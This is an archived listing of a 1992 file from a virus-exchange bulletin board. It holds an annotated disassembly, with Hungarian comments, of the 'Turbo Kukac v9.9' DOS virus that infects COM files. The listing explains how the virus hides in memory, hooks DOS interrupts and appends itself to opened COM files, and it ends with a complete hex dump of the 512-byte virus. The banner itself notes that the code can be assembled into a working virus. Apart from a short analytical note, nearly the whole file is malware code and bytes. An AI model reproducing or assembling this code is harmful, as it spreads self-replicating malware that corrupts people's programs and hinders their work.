home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TURBO99.ASM < prev    next >
Assembly Source File  |  1992-03-08  |  18KB  |  427 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. TURBO KUKAC v9.9 virus unassembled list:
  25.                                      `90.07.21.
  26.  
  27. Magyarázat: Kövári László
  28.         Tel.: (41) 21-822     07-13:20 mh.
  29.                21-033        18:00-
  30.  
  31.  
  32.  
  33. 28F8:0100 E80000    CALL    0103            ;IP értéke az SI-be
  34. 28F8:0103 90        NOP                ;ez lesz a bázis offset
  35. 28F8:0104 5E        POP    SI
  36. 28F8:0105 50        PUSH    AX
  37. 28F8:0106 51        PUSH    CX
  38. 28F8:0107 B021        MOV    AL,21
  39. 28F8:0109 B435        MOV    AH,35
  40. 28F8:010B CD21        INT    21            ;INT 21h címének lekér-
  41.                             ;dezése
  42. 28F8:010D 8CC0        MOV    AX,ES
  43. 28F8:010F 3D0040    CMP    AX,4000         ;a memóriában van ?
  44. 28F8:0112 7224        JB    0138            ;nincs!
  45. 28F8:0114 83EE03    SUB    SI,+03            ;bázis offset -3
  46.                             ;(3 byte hosszu a JMP
  47.                             ;+ az operandusa!)
  48. 28F8:0117 BAC102    MOV    DX,02C1
  49. 28F8:011A 81EA0001    SUB    DX,0100         ;0100h offset levonása
  50.                             ;(COM file sajátossága!)
  51. 28F8:011E 03F2        ADD    SI,DX
  52. 28F8:0120 8B1C        MOV    BX,[SI]         ;JMP kódja + az operan-
  53.                             ;dus fele
  54. 28F8:0122 8B4C02    MOV    CX,[SI+02]        ;JMP operandusa + 1 byte
  55. 28F8:0125 891E0001    MOV    [0100],BX        ;eredeti prg kezdet
  56. 28F8:0129 890E0201    MOV    [0102],CX        ;letárolása
  57. 28F8:012D 8CD8        MOV    AX,DS
  58. 28F8:012F 8EC0        MOV    ES,AX            ;ES=DS
  59. 28F8:0131 59        POP    CX
  60. 28F8:0132 58        POP    AX
  61. 28F8:0133 BB0001    MOV    BX,0100         ;ugrás offset-je
  62. 28F8:0136 FFE3        JMP    BX            ;EREDETI PROGRAM VÉGRE-
  63.                             ;HAJTÅSA
  64.  
  65.             ;HA MÉG NINCS A MEMóRIÅBAN
  66. 28F8:0138 8CD8        MOV    AX,DS            ;saját szegmense
  67. 28F8:013A 48        DEC    AX            ;saját seg-1= MCB. seg.
  68. 28F8:013B 8ED8        MOV    DS,AX            ;DS=MCB. szegmense
  69. 28F8:013D A10300    MOV    AX,[0003]        ;DOS álltal a programnak
  70.                             ;foglalt memóriablokk
  71.                             ;hossza
  72. 28F8:0140 2D4100    SUB    AX,0041         ;virus hosszát levonja
  73.                             ;belöle (41*16 byte)
  74. 28F8:0143 A30300    MOV    [0003],AX        ;visszateszi igy a DOS
  75.                             ;álltal látott teljes
  76.                             ;memória nagysága a prg.
  77.                             ;kilépése után (41*16
  78.                             ;byte-tal) kevesebb lesz
  79.                             ;Hasonlóan csinálja ezt
  80.                             ;a YANKEE DOODLE is, s
  81.                             ;ezzel azt éri el, hogy
  82.                             ;semmilyen
  83.                             ;System Storage Map
  84.                             ;programmal nem mutat-
  85.                             ;ható ki a virus jele-
  86.                             ;léte a memóriában!
  87.                             ;A PCTOOLS system info
  88.                             ;kimutatja, azaz csak
  89.                             ;annyit látni, hogy a
  90.                             ;fizikai RAM méret 640K
  91.                             ;s a DOS álltal látott
  92.                             ;az 639k byte! Igy kö-
  93.                             ;vetkeztetni lehet...
  94. 28F8:0146 8CC8        MOV    AX,CS
  95. 28F8:0148 8ED8        MOV    DS,AX            ;DS=CS
  96. 28F8:014A A10200    MOV    AX,[0002]        ;PSP-ben a RAM tetejé-
  97.                             ;nek a paragrafuscíme
  98. 28F8:014D 2D0008    SUB    AX,0800
  99. 28F8:0150 8EC0        MOV    ES,AX            ;virus új szegmense
  100. 28F8:0152 BF0001    MOV    DI,0100
  101. 28F8:0155 83EE03    SUB    SI,+03
  102. 28F8:0158 B90002    MOV    CX,0200         ;virus hossza
  103. 28F8:015B F3        REPZ
  104. 28F8:015C A4        MOVSB                ;virus másolása az új
  105.                             ;szegmensbe
  106. 28F8:015D 8C06C702    MOV    [02C7],ES        ;új szegmens tárolása
  107. 28F8:0161 B96C01    MOV    CX,016C         ;belépési pont
  108. 28F8:0164 890EC502    MOV    [02C5],CX        ;tárolása
  109. 28F8:0168 FF2EC502    JMP    FAR [02C5]        ;ugrás az új szegmens
  110.                             ;01c6 offset-ére
  111.             ;UJ SZEGMENSBEN A BELÉPÉSI PONT
  112. 28F8:016C 8CC1        MOV    CX,ES
  113. 28F8:016E 8CD8        MOV    AX,DS            ;ahonnan másolta magát
  114. 28F8:0170 26        ES:
  115. 28F8:0171 A3CB02    MOV    [02CB],AX        ;RÉGI PRG. segment cím
  116. 28F8:0174 B80001    MOV    AX,0100
  117. 28F8:0177 26        ES:
  118. 28F8:0178 A3C902    MOV    [02C9],AX        ;0100h offset tárolása
  119. 28F8:017B 8CC0        MOV    AX,ES
  120. 28F8:017D 8ED8        MOV    DS,AX
  121. 28F8:017F BAC701    MOV    DX,01C7         ;INT 05 - HARD COPY új
  122.                             ;offset-je
  123. 28F8:0182 B005        MOV    AL,05
  124. 28F8:0184 B425        MOV    AH,25
  125. 28F8:0186 CD21        INT    21            ;INT 05 ellopása
  126. 28F8:0188 B435        MOV    AH,35
  127. 28F8:018A B021        MOV    AL,21
  128. 28F8:018C CD21        INT    21            ;INT 21h cím lekérdezé-
  129.                             ;se
  130. 28F8:018E 2E        CS:
  131. 28F8:018F 891EB702    MOV    [02B7],BX        ;INT 05h offset (régi)
  132. 28F8:0193 8CC3        MOV    BX,ES
  133. 28F8:0195 2E        CS:
  134. 28F8:0196 891EB902    MOV    [02B9],BX        ;INT 05h segment (régi)
  135. 28F8:019A B8D901    MOV    AX,01D9         ;új INT 21h offset cím
  136. 28F8:019D 8BD0        MOV    DX,AX
  137. 28F8:019F 8BC1        MOV    AX,CX
  138. 28F8:01A1 8ED8        MOV    DS,AX
  139. 28F8:01A3 B021        MOV    AL,21
  140. 28F8:01A5 B425        MOV    AH,25
  141. 28F8:01A7 CD21        INT    21            ;INT 21h ellopása
  142. 28F8:01A9 8B16C102    MOV    DX,[02C1]        ;EREDETI JMP + AZ
  143. 28F8:01AD 8B0EC302    MOV    CX,[02C3]        ;OPERANDUSA!!!
  144. 28F8:01B1 A1CB02    MOV    AX,[02CB]        ;EREDETI PRG. SEG!!!
  145. 28F8:01B4 8ED8        MOV    DS,AX
  146. 28F8:01B6 89160001    MOV    [0100],DX        ;eredeti JMP kódja
  147. 28F8:01BA 890E0201    MOV    [0102],CX        ;és operandusa
  148. 28F8:01BE 8EC0        MOV    ES,AX
  149. 28F8:01C0 59        POP    CX
  150. 28F8:01C1 58        POP    AX
  151. 28F8:01C2 2E        CS:
  152. 28F8:01C3 FF2EC902    JMP    FAR [02C9]        ;EREDETI PROGRAM FUTTA-
  153.                             ;TÅSA!
  154.             ;új INT 05 - HARD COPY rutin
  155. 28F8:01C7 90        NOP
  156. 28F8:01C8 50        PUSH    AX
  157. 28F8:01C9 1E        PUSH    DS
  158. 28F8:01CA 52        PUSH    DX
  159. 28F8:01CB 8CC8        MOV    AX,CS
  160. 28F8:01CD 8ED8        MOV    DS,AX
  161.             ;VÉGTELEN CIKLUS!
  162. 28F8:01CF BACE02    MOV    DX,02CE         ;szöveg kezdete
  163.                             ;Turbo Kukac v9.9
  164. 28F8:01D2 B409        MOV    AH,09            ;print string
  165. 28F8:01D4 E8D900    CALL    02B0            ;régi INT 21h hivása
  166. 28F8:01D7 EBF6        JMP    01CF            ;újra!
  167.  
  168.             ;új INT 21h rutin
  169. 28F8:01D9 90        NOP
  170. 28F8:01DA 80FC3D    CMP    AH,3D            ;file nyitása alfunkció?
  171. 28F8:01DD 7403        JZ    01E2            ;igen
  172. 28F8:01DF E9C700    JMP    02A9            ;nem ugrása az eredeti
  173.                             ;INT 21h-ra
  174. 28F8:01E2 90        NOP
  175. 28F8:01E3 1E        PUSH    DS
  176. 28F8:01E4 06        PUSH    ES
  177. 28F8:01E5 50        PUSH    AX
  178. 28F8:01E6 53        PUSH    BX
  179. 28F8:01E7 51        PUSH    CX
  180. 28F8:01E8 52        PUSH    DX
  181. 28F8:01E9 57        PUSH    DI
  182. 28F8:01EA 56        PUSH    SI
  183.  
  184.             ;File kiterjesztés ellenörzése
  185.  
  186. 28F8:01EB 8BFA        MOV    DI,DX            ;file PATH kezdete
  187. 28F8:01ED 8CDE        MOV    SI,DS
  188. 28F8:01EF 8EC6        MOV    ES,SI            ;ES=DS (igy a file PATH
  189.                             ;átvétele!)
  190. 28F8:01F1 B000        MOV    AL,00            ;PATH lezáró nulla
  191. 28F8:01F3 B93200    MOV    CX,0032         ;file secifikáció hossza
  192. 28F8:01F6 FC        CLD                ;elöre
  193. 28F8:01F7 F2        REPNZ
  194. 28F8:01F8 AE        SCASB                ;PATH lezáró 0 byte ke-
  195.                             ;resése
  196. 28F8:01F9 83EF03    SUB    DI,+03            ;-3 igy a kiterjesztés
  197.                             ;kezdet+1 pozicióra mu-
  198.                             ;tat
  199. 28F8:01FC B84F4D    MOV    AX,4D4F         ;'OM' AX-be
  200. 28F8:01FF 26        ES:
  201. 28F8:0200 3B05        CMP    AX,[DI]         ; 'OM' a vége ?
  202. 28F8:0202 7403        JZ    0207            ;igen valászinüleg COM
  203.                             ;file
  204. 28F8:0204 E99A00    JMP    02A1            ;nem COM ugrás az erede-
  205.                             ;ti INT 21h-ra
  206. 28F8:0207 B82E43    MOV    AX,432E         ;'.C' AX-be
  207. 28F8:020A 26        ES:
  208. 28F8:020B 3B45FE    CMP    AX,[DI-02]        ; '.C' ?
  209. 28F8:020E 7403        JZ    0213            ;biztos hogy COM file!
  210. 28F8:0210 E98E00    JMP    02A1            ;nem COM ugrás az erede-
  211.                             ;ti INT 21h-ra
  212.             ;File nyitása
  213.  
  214. 28F8:0213 B43D        MOV    AH,3D            ;file nyitás
  215. 28F8:0215 B002        MOV    AL,02            ;írás/olvasás
  216. 28F8:0217 E89600    CALL    02B0            ;INT 21h hivása
  217. 28F8:021A 7303        JNB    021F            ;ha nincs hiba
  218. 28F8:021C E98200    JMP    02A1            ;hiba esetén ugrás az
  219.                             ;eredeti INT 21h-ra
  220. 28F8:021F 8BD8        MOV    BX,AX            ;file kezelö
  221.  
  222.             ;File méret ellenörzés
  223.  
  224. 28F8:0221 B90000    MOV    CX,0000
  225. 28F8:0224 BA0000    MOV    DX,0000
  226. 28F8:0227 B002        MOV    AL,02            ;file végére
  227. 28F8:0229 B442        MOV    AH,42            ;file pointer mozgatása
  228. 28F8:022B E88200    CALL    02B0            ;INT 21h hivása
  229. 28F8:022E 3D00FE    CMP    AX,FE00
  230. 28F8:0231 736E        JNB    02A1            ;ha nem nagyobb a file
  231.                             ;65024 byte-nál
  232. 28F8:0233 2D0300    SUB    AX,0003         ;JMP+op hossza
  233.  
  234.             ;Fertözendö file eredeti 4 byte jának
  235.             ;beolvasása
  236.  
  237. 28F8:0236 2E        CS:
  238. 28F8:0237 A3BE02    MOV    [02BE],AX        ;letárolja
  239. 28F8:023A B442        MOV    AH,42            ;file pointer mozgatása
  240. 28F8:023C B000        MOV    AL,00            ;file elejére
  241. 28F8:023E B90000    MOV    CX,0000
  242. 28F8:0241 BA0000    MOV    DX,0000
  243. 28F8:0244 E86900    CALL    02B0            ;INT 21h hivása
  244. 28F8:0247 B43F        MOV    AH,3F            ;olvasás file-ból
  245. 28F8:0249 B90400    MOV    CX,0004         ;4 byte
  246. 28F8:024C BAC102    MOV    DX,02C1         ;ide tegye
  247. 28F8:024F 8CCF        MOV    DI,CS
  248. 28F8:0251 8EDF        MOV    DS,DI            ;DS=CS
  249. 28F8:0253 E85A00    CALL    02B0            ;INT 21h hivása
  250. 28F8:0256 B005        MOV    AL,05
  251. 28F8:0258 3A06C402    CMP    AL,[02C4]        ;utolsó byte=5 ?
  252. 28F8:025C 7443        JZ    02A1            ;igen, ugrás az eredeti
  253.                             ;INT 21h -ra
  254.  
  255.             ;Fertözendö file-ba a virusra
  256.             ;mutató JMP+op. kiírása (4 byte)
  257.  
  258. 28F8:025E B442        MOV    AH,42            ;file pointer mozgatása
  259. 28F8:0260 B000        MOV    AL,00            ;file elejére
  260. 28F8:0262 B90000    MOV    CX,0000
  261. 28F8:0265 8BD1        MOV    DX,CX
  262. 28F8:0267 E84600    CALL    02B0            ;INT 21h hivása
  263. 28F8:026A B0E9        MOV    AL,E9            ;JMP kódja
  264. 28F8:026C 2E        CS:
  265. 28F8:026D A2BD02    MOV    [02BD],AL        ;letárolja
  266. 28F8:0270 B005        MOV    AL,05
  267. 28F8:0272 2E        CS:
  268. 28F8:0273 A2C002    MOV    [02C0],AL
  269. 28F8:0276 B90400    MOV    CX,0004         ;4 byte
  270. 28F8:0279 BABD02    MOV    DX,02BD         ;JMP + op. kezdete
  271. 28F8:027C 8CC8        MOV    AX,CS
  272. 28F8:027E 8ED8        MOV    DS,AX
  273. 28F8:0280 B440        MOV    AH,40            ;kiírás file-ba
  274. 28F8:0282 E82B00    CALL    02B0            ;INT 21h hivása
  275.  
  276.             ;Program megfertözése 0200h byte kiírása
  277.             ;azaz a virus mögémásolása
  278.  
  279. 28F8:0285 B442        MOV    AH,42            ;file pointer mozgatása
  280. 28F8:0287 B002        MOV    AL,02            ;file végére
  281. 28F8:0289 B90000    MOV    CX,0000
  282. 28F8:028C 8BD1        MOV    DX,CX
  283. 28F8:028E E81F00    CALL    02B0            ;INT 21h hivása
  284. 28F8:0291 BA0001    MOV    DX,0100         ;0100h ofset-töl
  285. 28F8:0294 B90002    MOV    CX,0200         ;0200h byte virus hossza
  286. 28F8:0297 B440        MOV    AH,40            ;kiírás file-ba
  287. 28F8:0299 E81400    CALL    02B0            ;INT 21h hivása
  288. 28F8:029C B43E        MOV    AH,3E            ;file zárása
  289. 28F8:029E E80F00    CALL    02B0            ;INT 21h hivása
  290. 28F8:02A1 5E        POP    SI
  291. 28F8:02A2 5F        POP    DI
  292. 28F8:02A3 5A        POP    DX
  293. 28F8:02A4 59        POP    CX
  294. 28F8:02A5 5B        POP    BX
  295. 28F8:02A6 58        POP    AX
  296. 28F8:02A7 07        POP    ES
  297. 28F8:02A8 1F        POP    DS
  298.  
  299. 28F8:02A9 90        NOP
  300. 28F8:02AA 2E        CS:
  301. 28F8:02AB FF2EB702    JMP    FAR [02B7]        ;eredeti INT 21h-ra
  302. 28F8:02AF CF        IRET
  303.             ;Eredeti INT 21h hivása
  304. 28F8:02B0 9C        PUSHF                ;elmenti mivel az IRET
  305.                             ;visszamenti a flag-eket
  306. 28F8:02B1 2E        CS:
  307. 28F8:02B2 FF1EB702    CALL    FAR [02B7]        ;eredeti INT 21h hivása
  308. 28F8:02B6 C3        RET
  309.  
  310. 28F8:02B7 16        PUSH    SS
  311. 28F8:02B8 130C        ADC    CX,[SI]
  312. 28F8:02BA 0202        ADD    AL,[BP+SI]
  313. 28F8:02BC 00E9        ADD    CL,CH
  314. 28F8:02BE 06        PUSH    ES
  315. 28F8:02BF 06        PUSH    ES
  316. 28F8:02C0 05E906    ADD    AX,06E9
  317. 28F8:02C3 0405        ADD    AL,05
  318. 28F8:02C5 0100        ADD    [BX+SI],AX
  319. 28F8:02C7 0000        ADD    [BX+SI],AL
  320. 28F8:02C9 0001        ADD    [BX+DI],AL
  321. 28F8:02CB F0        LOCK
  322. 28F8:02CC 0901        OR    [BX+DI],AX
  323. 28F8:02CE 54        PUSH    SP
  324. 28F8:02CF 7572        JNZ    0343
  325. 28F8:02D1 62        DB    62
  326. 28F8:02D2 6F        DB    6F
  327. 28F8:02D3 204B75    AND    [BP+DI+75],CL
  328. 28F8:02D6 6B        DB    6B
  329. 28F8:02D7 61        DB    61
  330. 28F8:02D8 63        DB    63
  331. 28F8:02D9 2039        AND    [BX+DI],BH
  332. 28F8:02DB 2E        CS:
  333. 28F8:02DC 3920        CMP    [BX+SI],SP
  334. 28F8:02DE 2020        AND    [BX+SI],AH
  335. 28F8:02E0 2020        AND    [BX+SI],AH
  336. 28F8:02E2 2024        AND    [SI],AH
  337. 28F8:02E4 0000        ADD    [BX+SI],AL
  338.  
  339. 28F8:02FC 0000        ADD    [BX+SI],AL
  340. 28F8:02FE FA        CLI
  341. 28F8:02FF 00C7        ADD    BH,AL
  342.  
  343. Megjegyzés:
  344.  
  345.     Nagyon primitív virus, de megvan a maga zsenialitása, két legyet
  346.     üt egy csapásra, pl COPY parancs esetén megnyit egy com file-t,s
  347.     ha a virus a memóriában van, akkor még a másolandó file-t megfer-
  348.     tözi, s a COPY már a fertözött file-t másolja! Nem igazán kár-
  349.     tékony vírus, pusztán mindenütt ott akar lenni, s nehezíteni a
  350.     felhasználó(k) munkáját! Mérete nagyon kicsi, mindössze 512 byte!
  351.     Hiányoznak a vírusból az (tapasztalataim szerint) eddigi virusok-
  352.     ban fellelhetö ellenörzések, gondolok itt arra, hogy ha megtörténik
  353.     egy file-ba (hoz) való kiírás nem ellenörzi a program hogy valóban
  354.     kiírta-e azt az X byte-ot. Továbbá mikor rezidessé (nem {hivatalo-
  355.     san} bejegyzetten) teszi magát nem módosítja az MCB. 13. byte-ján
  356.     lévö RAM tetejének a paragrafus címétt a saját maga álltal lefog-
  357.     lalt mérettel (kivonás!), mint PL. a Yankee Doodle! A Yankee még
  358.     azt is megnézi, hogy amit meg akar fertözni az az utolsó memó.
  359.     blokkban van-e, bár abban kell lennie, mert a DOS egy programnak
  360.     odaadja a teljes szabad memóriát, ami van...
  361.  
  362.  
  363. DUMP:
  364.  
  365. 28F8:0100  E8 00 00 90 5E 50 51 B0-21 B4 35 CD 21 8C C0 3D   ....^PQ.!.5.!..=
  366. 28F8:0110  00 40 72 24 83 EE 03 BA-C1 02 81 EA 00 01 03 F2   .@r$............
  367. 28F8:0120  8B 1C 8B 4C 02 89 1E 00-01 89 0E 02 01 8C D8 8E   ...L............
  368. 28F8:0130  C0 59 58 BB 00 01 FF E3-8C D8 48 8E D8 A1 03 00   .YX.......H.....
  369. 28F8:0140  2D 41 00 A3 03 00 8C C8-8E D8 A1 02 00 2D 00 08   -A...........-..
  370. 28F8:0150  8E C0 BF 00 01 83 EE 03-B9 00 02 F3 A4 8C 06 C7   ................
  371. 28F8:0160  02 B9 6C 01 89 0E C5 02-FF 2E C5 02 8C C1 8C D8   ..l.............
  372. 28F8:0170  26 A3 CB 02 B8 00 01 26-A3 C9 02 8C C0 8E D8 BA   &......&........
  373. 28F8:0180  C7 01 B0 05 B4 25 CD 21-B4 35 B0 21 CD 21 2E 89   .....%.!.5.!.!..
  374. 28F8:0190  1E B7 02 8C C3 2E 89 1E-B9 02 B8 D9 01 8B D0 8B   ................
  375. 28F8:01A0  C1 8E D8 B0 21 B4 25 CD-21 8B 16 C1 02 8B 0E C3   ....!.%.!.......
  376. 28F8:01B0  02 A1 CB 02 8E D8 89 16-00 01 89 0E 02 01 8E C0   ................
  377. 28F8:01C0  59 58 2E FF 2E C9 02 90-50 1E 52 8C C8 8E D8 BA   YX......P.R.....
  378. 28F8:01D0  CE 02 B4 09 E8 D9 00 EB-F6 90 80 FC 3D 74 03 E9   ............=t..
  379. 28F8:01E0  C7 00 90 1E 06 50 53 51-52 57 56 8B FA 8C DE 8E   .....PSQRWV.....
  380. 28F8:01F0  C6 B0 00 B9 32 00 FC F2-AE 83 EF 03 B8 4F 4D 26   ....2........OM&
  381. 28F8:0200  3B 05 74 03 E9 9A 00 B8-2E 43 26 3B 45 FE 74 03   ;.t......C&;E.t.
  382. 28F8:0210  E9 8E 00 B4 3D B0 02 E8-96 00 73 03 E9 82 00 8B   ....=.....s.....
  383. 28F8:0220  D8 B9 00 00 BA 00 00 B0-02 B4 42 E8 82 00 3D 00   ..........B...=.
  384. 28F8:0230  FE 73 6E 2D 03 00 2E A3-BE 02 B4 42 B0 00 B9 00   .sn-.......B....
  385. 28F8:0240  00 BA 00 00 E8 69 00 B4-3F B9 04 00 BA C1 02 8C   .....i..?.......
  386. 28F8:0250  CF 8E DF E8 5A 00 B0 05-3A 06 C4 02 74 43 B4 42   ....Z...:...tC.B
  387. 28F8:0260  B0 00 B9 00 00 8B D1 E8-46 00 B0 E9 2E A2 BD 02   ........F.......
  388. 28F8:0270  B0 05 2E A2 C0 02 B9 04-00 BA BD 02 8C C8 8E D8   ................
  389. 28F8:0280  B4 40 E8 2B 00 B4 42 B0-02 B9 00 00 8B D1 E8 1F   .@.+..B.........
  390. 28F8:0290  00 BA 00 01 B9 00 02 B4-40 E8 14 00 B4 3E E8 0F   ........@....>..
  391. 28F8:02A0  00 5E 5F 5A 59 5B 58 07-1F 90 2E FF 2E B7 02 CF   .^_ZY[X.........
  392. 28F8:02B0  9C 2E FF 1E B7 02 C3 16-13 0C 02 02 00 E9 06 06   ................
  393. 28F8:02C0  05 E9 06 04 05 01 00 00-00 00 01 F0 09 01         ..............
  394.  
  395.        ;Kiírandó szöveg kezdete
  396. 28F8:02C0                         54 75           Tu
  397. 28F8:02D0  72 62 6F 20 4B 75 6B 61-63 20 39 2E 39 20 20 20   rbo Kukac 9.9
  398. 28F8:02E0  20 20 20 24                        $
  399.  
  400. 28F8:02E0           00 00 00 00-00 00 00 00 00 00 00 00     ............
  401. 28F8:02F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 FA 00   ................
  402. 28F8:0300  C7                             .
  403.  
  404. ;****************************************************************************;
  405. ;                                                                            ;
  406. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  407. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  408. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  409. ;                     -=]                            [=-                     ;
  410. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  411. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  412. ;                     -=]                            [=-                     ;
  413. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  414. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  415. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  416. ;                                                                            ;
  417. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  418. ;                                                                            ;
  419. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  420. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  421. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  422. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  423. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  424. ; Is. Keep This Code in Responsible Hands!                                   ;
  425. ;                                                                            ;
  426. ;****************************************************************************;
  427.